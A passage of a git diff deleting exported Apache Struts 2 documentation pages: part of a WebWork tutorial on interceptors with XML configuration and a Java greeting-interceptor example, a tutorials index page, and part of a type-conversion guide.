-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<h1 id="TutorialLesson06-Lesson5:Interceptors">Lesson 5: Interceptors</h1>
-
-<p>Interceptors allow arbitrary code to be included in the call stack for your action before and/or after processing the action, which can vastly simplify your code itself and provide excellent opportunities for code reuse. Many of the features of XWork and WebWork are implemented as interceptors and can be applied via external configuration along with your own Interceptors in whatever order you specify for any set of actions you define.</p>
-
-<p>In other words, when you access a <code>*.action</code> URL, WebWork's <code>ServletDispatcher</code> proceeds to the invocation of the an action object. Before it is executed, however, the invocation can be intercepted by another object, that is hence called interceptor. To have an interceptor executed before (or after) a given action, just configure <code>xwork.xml</code> properly, like the example below, taken from <a shape="rect" class="createlink" href="https://cwiki.apache.org/c [...]
-
-<h3 id="TutorialLesson06-Interceptorconfigurationfromlesson4.1.1:">Interceptor configuration from lesson 4.1.1:</h3>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="formProcessing" class="lesson04_01_01.FormProcessingAction"&gt;
-	&lt;result name="input" type="dispatcher"&gt;ex01-index.jsp&lt;/result&gt;
-	&lt;result name="success" type="dispatcher"&gt;ex01-success.jsp&lt;/result&gt;
-	&lt;interceptor-ref name="validationWorkflowStack" /&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-<p>As you can see, lesson 4.1.1's <code>formProcessing</code> Action uses the <code>validationWorkflowStack</code>. That is an interceptor stack, which organizes a bunch of interceptors in the order in which they are to be executed. That stack is configured in <code>webwork-default.xml</code>, so all we have to do to use it is declare a <code>&lt;interceptor-ref /&gt;</code> under the action configuration or a <code>&lt;default-interceptor-ref /&gt;</code>, under package configuration, a [...]
-
-<h3 id="TutorialLesson06-Interceptorconfigurationfromlesson3.1:">Interceptor configuration from lesson 3.1:</h3>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;!DOCTYPE xwork PUBLIC "-//OpenSymphony Group//XWork 1.0//EN"
-"http://www.opensymphony.com/xwork/xwork-1.0.dtd"&gt;
-
-&lt;xwork&gt;
-	&lt;!-- Include webwork defaults (from WebWork JAR). --&gt;
-	&lt;include file="webwork-default.xml" /&gt;
-
-	&lt;!-- Configuration for the default package. --&gt;
-	&lt;package name="default" extends="webwork-default"&gt;
-		&lt;!-- Default interceptor stack. --&gt;
-		&lt;default-interceptor-ref name="defaultStack" /&gt;
-
-		&lt;!-- Action: Lesson 03: HelloWebWorldAction. --&gt;
-		&lt;action name="helloWebWorld" class="lesson03.HelloWebWorldAction"&gt;
-			&lt;result name="success" type="dispatcher"&gt;ex01-success.jsp&lt;/result&gt;
-		&lt;/action&gt;
-	&lt;/package&gt;
-&lt;/xwork&gt;
-</pre>
-</div></div>
-<p>But let's see how it works from scracth:</p>
-<ol><li>Create an interceptor class, which is a class that implements the <code>com.opensymphony.xwork.interceptor.Interceptor</code> interface (bundled in <code>xwork-1.0.jar</code>);</li><li>Declare the class in your XML configuration file (<code>xwork.xml</code>) using the element <code>&lt;interceptor /&gt;</code> nested within <code>&lt;interceptors /&gt;</code>;</li><li>Create stacks of interceptors, using the <code>&lt;interceptor-stack /&gt;</code> element (<em>optional</em>);</l [...]
-
-
-<p>Looking inside <code>webwork-default.xml</code> we can see how it's done:</p>
-
-<h3 id="TutorialLesson06-webwork-default.xml:">webwork-default.xml:</h3>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;!DOCTYPE xwork PUBLIC "-//OpenSymphony Group//XWork 1.0//EN"
-"http://www.opensymphony.com/xwork/xwork-1.0.dtd"&gt;
-
-&lt;xwork&gt;
-	&lt;package name="webwork-default"&gt;
-		&lt;result-types&gt;
-			&lt;result-type name="dispatcher" default="true"
-				class="com.opensymphony.webwork.dispatcher.ServletDispatcherResult"/&gt;
-			&lt;result-type name="redirect"
-				class="com.opensymphony.webwork.dispatcher.ServletRedirectResult"/&gt;
-			&lt;result-type name="velocity"
-				class="com.opensymphony.webwork.dispatcher.VelocityResult"/&gt;
-			&lt;result-type name="chain"
-				class="com.opensymphony.xwork.ActionChainResult"/&gt;
-			&lt;result-type name="xslt"
-				class="com.opensymphony.webwork.views.xslt.XSLTResult"/&gt;
-		&lt;/result-types&gt;
-
-		&lt;interceptors&gt;
-			&lt;interceptor name="timer"
-				class="com.opensymphony.xwork.interceptor.TimerInterceptor"/&gt;
-			&lt;interceptor name="logger"
-				class="com.opensymphony.xwork.interceptor.LoggingInterceptor"/&gt;
-			&lt;interceptor name="chain"
-				class="com.opensymphony.xwork.interceptor.ChainingInterceptor"/&gt;
-			&lt;interceptor name="static-params"
-				class="com.opensymphony.xwork.interceptor.StaticParametersInterceptor"/&gt;
-			&lt;interceptor name="params"
-				class="com.opensymphony.xwork.interceptor.ParametersInterceptor"/&gt;
-			&lt;interceptor name="model-driven"
-				class="com.opensymphony.xwork.interceptor.ModelDrivenInterceptor"/&gt;
-			&lt;interceptor name="component"
-				class="com.opensymphony.xwork.interceptor.component.ComponentInterceptor"/&gt;
-			&lt;interceptor name="token"
-				class="com.opensymphony.webwork.interceptor.TokenInterceptor"/&gt;
-			&lt;interceptor name="token-session"
-				class="com.opensymphony.webwork.interceptor.TokenSessionStoreInterceptor"/&gt;
-			&lt;interceptor name="validation"
-				class="com.opensymphony.xwork.validator.ValidationInterceptor"/&gt;
-			&lt;interceptor name="workflow"
-				class="com.opensymphony.xwork.interceptor.DefaultWorkflowInterceptor"/&gt;
-			&lt;interceptor name="servlet-config"
-				class="com.opensymphony.webwork.interceptor.ServletConfigInterceptor"/&gt;
-			&lt;interceptor name="prepare"
-				class="com.opensymphony.xwork.interceptor.PrepareInterceptor"/&gt;
-			&lt;interceptor name="conversionError"
-				class="com.opensymphony.webwork.interceptor.WebWorkConversionErrorInterceptor"/&gt;
-			&lt;interceptor-stack name="defaultStack"&gt;
-				&lt;interceptor-ref name="static-params"/&gt;
-				&lt;interceptor-ref name="params"/&gt;
-				&lt;interceptor-ref name="conversionError"/&gt;
-			&lt;/interceptor-stack&gt;
-			&lt;interceptor-stack name="validationWorkflowStack"&gt;
-				&lt;interceptor-ref name="defaultStack"/&gt;
-				&lt;interceptor-ref name="validation"/&gt;
-				&lt;interceptor-ref name="workflow"/&gt;
-			&lt;/interceptor-stack&gt;
-		&lt;/interceptors&gt;
-	&lt;/package&gt;
-&lt;/xwork&gt;
-</pre>
-</div></div>
-<p>Since we included <code>webwork-default.xml</code> in our <code>xwork.xml</code>, all the interceptors and stacks above are available for us to use in our actions. Here's what these interceptors do:</p>
-<ul><li><strong>timer</strong>: clocks how long the action (including nested interceptors and view) takes to execute;</li><li><strong>logger</strong>: logs the action being executed;</li><li><strong>chain</strong>: makes the previous action's properties available to the current action. Used to make action chaining (reference: <a shape="rect" href="result-types.html">Result Types</a>);</li><li><strong>static-params</strong>: sets the parameters defined in <code>xwork.xml</code> onto the a [...]
-
-
-<h2 id="TutorialLesson06-BuildingyourownInterceptor">Building your own Interceptor</h2>
-
-<p>If none of the above interceptors suit your particular need, you will have to implement your own interceptor. Fortunately, this is an easy task to accomplish. Suppose we need an interceptor that places a greeting in the Session according to the time of the day (morning, afternoon or evening). Here's how we could implement it:</p>
-
-<h3 id="TutorialLesson06-GreetingInterceptor.java:">GreetingInterceptor.java:</h3>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package lesson05;
-
-import java.util.Calendar;
-import com.opensymphony.xwork.interceptor.Interceptor;
-import com.opensymphony.xwork.ActionInvocation;
-
-public class GreetingInterceptor implements Interceptor {
-	public void init() { }
-	public void destroy() { }
-	public String intercept(ActionInvocation invocation) throws Exception {
-		Calendar calendar = Calendar.getInstance();
-		int hour = calendar.get(Calendar.HOUR_OF_DAY);
-		String greeting = (hour &lt; 6) ? "Good evening" :
-			((hour &lt; 12) ? "Good morning":
-			((hour &lt; 18) ? "Good afternoon": "Good evening"));
-
-		invocation.getInvocationContext().getSession().put("greeting", greeting);
-
-		String result = invocation.invoke();
-
-		return result;
-	}
-}
-</pre>
-</div></div>
-
-<h3 id="TutorialLesson06-xwork.xml:">xwork.xml:</h3>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;!DOCTYPE xwork PUBLIC "-//OpenSymphony Group//XWork 1.0//EN"
-"http://www.opensymphony.com/xwork/xwork-1.0.dtd"&gt;
-
-&lt;xwork&gt;
-	&lt;!-- Include webwork defaults (from WebWork JAR). --&gt;
-	&lt;include file="webwork-default.xml" /&gt;
-
-	&lt;!-- Configuration for the default package. --&gt;
-	&lt;package name="default" extends="webwork-default"&gt;
-		&lt;interceptors&gt;
-			&lt;interceptor name="greeting" class="section02.lesson05.GreetingInterceptor" /&gt;
-		&lt;/interceptors&gt;
-
-		&lt;!-- Action: Lesson 5: GreetingInterceptor. --&gt;
-		&lt;action name="greetingAction" class="lesson05.GreetingAction"&gt;
-			&lt;result name="success" type="velocity"&gt;ex01-result.vm&lt;/result&gt;
-			&lt;interceptor-ref name="greeting" /&gt;
-		&lt;/action&gt;
-	&lt;/package&gt;
-&lt;/xwork&gt;
-</pre>
-</div></div>
-
-<h3 id="TutorialLesson06-GreetingAction.java:">GreetingAction.java:</h3>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package lesson05;
-
-import com.opensymphony.xwork.ActionSupport;
-
-public class GreetingAction extends ActionSupport {
-	public String execute() throws Exception {
-		return SUCCESS;
-	}
-}
-</pre>
-</div></div>
-
-<h3 id="TutorialLesson06-ex01-result.vm:">ex01-result.vm:</h3>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;html&gt;
-&lt;head&gt;
-&lt;title&gt;WebWork Tutorial - Lesson 5 - Example 1&lt;/title&gt;
-&lt;/head&gt;
-&lt;body&gt;
-
-#set ($ses = $req.getSession())
-&lt;p&gt;&lt;b&gt;${ses.getAttribute('greeting')}!&lt;/b&gt;&lt;/p&gt;
-
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div>
-<p>Let's take a look at our interceptor class first. As explained before, the interceptor must implement <code>com.opensymphony.xwork.interceptor.Interceptor</code>'s methods: <code>init()</code>, called during interceptor initialization, <code>destroy()</code>, called during destruction, and most importantly, <code>intercept(ActionInvocation invocation)</code>, which is where we place the code that does the work.</p>
-
-<p>Notice that our interceptor returns the result from <code>invocation.invoke()</code> which is the method responsible for executing the next interceptor in the stack or, if this is the last one, the action. This means that the interceptor has the power of short-circuiting the action invocation and return a result string without executing the action at all! Use this with caution, though.</p>
-
-<p>One other thing that interceptors can do is execute code after the action has executed. To do that, just place code after the invocation.invoke() call. WebWork provides an abstract class that already implements this kind of behaviour: <code>com.opensymphony.xwork.interceptor.AroundInterceptor</code>. Just extend it and implement the methods <code>before(ActionInvocation invocation)</code> and <code>after(ActionInvocation dispatcher, String result)</code>.</p>
-
-<p>The <code>xwork.xml</code> configuration, the action class and the result page are pretty straightforward and require no further explanation.</p>
-<blockquote><p><a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=TutorialExamples&amp;linkCreation=true&amp;fromPageId=14155">Try the example!</a></p></blockquote>
-
-<hr>
-<p><a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=TutorialLesson05&amp;linkCreation=true&amp;fromPageId=14155">Previous Lesson</a> | <a shape="rect" href="tutorialend.html">End of Tutorial</a></p></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/tutorials.html b/content/docs/tutorials.html
deleted file mode 100644
index 2d2c25b..0000000
--- a/content/docs/tutorials.html
+++ /dev/null
@@ -1,183 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Tutorials</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Tutorials</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13978">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13978">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13978">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13978">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13978">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13978">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The framework documentation is written for active web developers and assumes a working knowledge about how Java web applications are built. For more about the underlying nuts and bolts, see the <a shape="rect" class="exter [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/type-conversion.html b/content/docs/type-conversion.html
deleted file mode 100644
index 406127a..0000000
--- a/content/docs/type-conversion.html
+++ /dev/null
@@ -1,391 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Type Conversion</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="type-conversion.html">Type Conversion</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Type Conversion</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14106">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14106">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14106">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14106">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14106">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14106">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Routine type conversion in the framework is transparent. Generally, all you need to do is ensure that HTML inputs have names that can be used in <a shape="rect" href="ognl.html">OGNL</a> expressions. (HTML inputs are form elements and other GET/POST parameters.)</p>
-
-<parameter ac:name="minLevel">2</parameter><parameter ac:name="outline">true</parameter><parameter ac:name="style">none</parameter>
-
-<h2 id="TypeConversion-BuiltinTypeConversionSupport">Built in Type Conversion Support</h2>
-<p>Type Conversion is implemented by XWork.</p>
-<plain-text-body>{snippet:id=javadoc|javadoc=true|url=com.opensymphony.xwork2.conversion.impl.XWorkBasicConverter}</plain-text-body>
-<ul><li>Enumerations</li><li>BigDecimal and BigInteger</li></ul>
-
-
-<h2 id="TypeConversion-RelationshiptoParameterNames">Relationship to Parameter Names</h2>
-
-<p>There is no need to capture form values using intermediate Strings and primitives. Instead, the framework can read from and write to properties of objects addressed via OGNL expressions and perform the appropriate type conversion for you.</p>
-
-<p>Here are some tips for leveraging the framework's type conversion capabilities:</p>
-<ul><li>Use OGNL expressions - the framework will automatically take care of creating the actual objects for you.</li><li>Use JavaBeans! The framework can only create objects that obey the JavaBean specification, provide no-arg constructions and include getters and setters where appropriate.</li><li>Remember that <em>person.name</em> will call <strong>getPerson().setName()</strong>.  If the framework creates the Person object for you, it remember that a <code>setPerson</code> method must [...]
-
-
-<h2 id="TypeConversion-CreatingaTypeConverter">Creating a Type Converter</h2>
-
-<p>Create a type converter by extending StrutsTypeConverter.  The Converter's role is to convert a String to an Object and an Object to a String.</p>
-
-<plain-text-body>
- public class MyConverter extends StrutsTypeConverter {
-    public Object convertFromString(Map context, String[] values, Class toClass) {
-       .....
-    }
-
-    public String convertToString(Map context, Object o) {
-       .....
-    }
- }
-</plain-text-body>
-
-<rich-text-body><p>To allow Struts to recognize that a conversion error has occurred, the converter class needs to throw XWorkException or preferably TypeConversionException.</p></rich-text-body>
-
-<h2 id="TypeConversion-ApplyingaTypeConvertertoanAction">Applying a Type Converter to an Action</h2>
-
-<p>Create a file called 'ActionClassName-conversion.properties' in the same location of the classpath as the Action class itself resides. </p>
-
-<p>Eg. if the action class name is MyAction, the action-level conversion properties file should be named 'MyAction-conversion.properties'.  If the action's package is com.myapp.actions the conversion file should also be in the classpath at /com/myapp/actions/.</p>
-
-<p>Within the conversion file, name the action's property and the Converter to apply to it:</p>
-<plain-text-body>
-# syntax: &lt;propertyName&gt; = &lt;converterClassName&gt;
-point = com.acme.PointConverter 
-person.phoneNumber = com.acme.PhoneNumberConverter
-</plain-text-body>
-
-<p>Type conversion can also be specified via <a shape="rect" href="annotations.html">Annotations</a> within the action.</p>
-
-<h2 id="TypeConversion-ApplyingaTypeConvertertoabeanormodel">Applying a Type Converter to a bean or model</h2>
-
-<p>When getting or setting the property of a bean, the framework will look for "classname-conversion.properties" in the same location of the <strong>classpath</strong> as the target bean.  This is the same mechanism as used for actions.</p>
-
-<p><strong>Example:</strong> A custom converter is required for the Amount property of a Measurement bean.  The Measurement class cannot be modified as its located within one of the application's dependencies.  The action using Measurement implements ModelDriven&lt;Measurement&gt; so it cannot apply converters to the properties directly.<br clear="none">
-<strong>Solution:</strong> The conversion file needs to be in the same location of the classpath as Measurement.  Create a directory in your source or resources tree matching the package of Measurement and place the converters file there.<br clear="none">
-eg. for com.acme.measurements.Measurement, create a file in the application source/resources at /com/acme/measurements/Measurement-conversion.properties:</p>
-<parameter ac:name="">none</parameter><plain-text-body>
-# syntax: &lt;propertyName&gt;=&lt;converterClassName&gt;
-amount=com.acme.converters.MyCustomBigDecimalConverter
-</plain-text-body>
-
-<h2 id="TypeConversion-ApplyingaTypeConverterforanapplication">Applying a Type Converter for an application</h2>
-
-<p>Application-wide converters can be specified in a file called xwork-conversion.properties located in the root of the classpath.</p>
-
-<plain-text-body>
-# syntax: &lt;type&gt; = &lt;converterClassName&gt;
-java.math.BigDecimal = com.acme.MyBigDecimalConverter 
-</plain-text-body>
-
-<h2 id="TypeConversion-ASimpleExample">A Simple Example</h2>
-
-<plain-text-body>{snippet:id=javadoc|javadoc=true|url=com.opensymphony.xwork2.conversion.impl.XWorkConverter}</plain-text-body>
-<rich-text-body>
-<plain-text-body>{snippet:id=i18n-note|javadoc=true|url=com.opensymphony.xwork2.conversion.impl.XWorkConverter}</plain-text-body></rich-text-body>
-<p>The framework ships with a base helper class that simplifies converting to and from Strings, <code>org.apache.struts2.util.StrutsTypeConverter</code>. The helper class makes it easy to write type converters that handle converting objects to Strings as well as from Strings.</p>
-
-<p>From the JavaDocs:</p>
-<plain-text-body>{snippet:id=javadoc|javadoc=true|url=org.apache.struts2.util.StrutsTypeConverter}</plain-text-body>
-
-<h2 id="TypeConversion-AdvancedTypeConversion">Advanced Type Conversion</h2>
-
-<p>The framework also handles advanced type conversion cases, like null property handling and converting values in Maps and Collections, and type conversion error handling.</p>
-
-<h3 id="TypeConversion-NullPropertyHandling">Null Property Handling</h3>
-
-<p>Null property handling will automatically create objects where null references are found.</p>
-<plain-text-body>{snippet:id=javadoc|javadoc=true|url=com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler}</plain-text-body>
-<plain-text-body>{snippet:id=example|javadoc=true|url=com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler}</plain-text-body>
-
-<h3 id="TypeConversion-CollectionandMapSupport">Collection and Map Support</h3>
-
-<p>Collection and Map support provides intelligent null handling and type conversion for Java Collections.</p>
-
